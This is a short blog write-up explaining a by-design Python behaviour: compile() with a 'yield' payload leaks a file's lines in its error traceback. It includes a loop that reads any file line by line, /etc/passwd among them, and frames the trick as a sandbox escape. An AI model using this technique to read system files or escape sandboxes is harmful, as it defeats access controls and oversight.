Python Compile Leak Bug

Isopach · December 7, 2019

By using the compile function and throwing an error by returning it early, we can leak the first line of any file that we have access permissions to.


Leaking files with compile() in Python

Background

I was trying to break out of a python sandbox back in October, when I asked this question on Stackexchange (but no one answered…). I eventually opened my first issue on the Python Bug Tracker, and was told that it was By-Design.

By using the compile function and throwing an error by returning it early, we can leak the first line of any file that we have access permissions to.

Now, you may ask:

But Isopach, what’s the use of leaking a file that you already have permissions to read? Why not just cat it?

And to be honest, on hindsight this isn’t even a noteworthy bug to write about.

BUT! You can use this for escaping improperly implemented sandboxes, i.e. sandboxes that did not remove the compile function. So even if you cannot cat the file directly, you will be able to leak them.

So, onto the bug!

Bug

By running compile('yield', '/etc/passwd', 'exec'), we are able to leak the first line of any file.

While it is useful in many cases, often we want to see the whole file, right?

To do this, since python interprets files line-by-line, we can delay the termination error simply by adding a new line \n to leak a line at a time.

For example, let’s make /tmp/passwd:

$ cat /tmp/passwwd
line 1
line 2 
line 3
line 4

We will be able to read the first line with 0 \n like as above, but when we run compile('\nyield', '/tmp/passwd', 'exec'), it returns line 2!

Exploit

We’ll be able to get every line by catching the Traceback and storing it in a variable, then printing it out for every line like this:

import traceback
import sys


for i in range(0,100):
    line_number = '\n' * i
    payload = line_number + 'yield'
    try:
        compile(payload, sys.argv[1], 'exec')
    except SyntaxError, err:
        try:
            exc_info = sys.exc_info()
            
        finally:
            traceback.print_exception(*exc_info)
            del exc_info

Change the upper limit in range depending on file length.

Thanks for reading!

Twitter, Facebook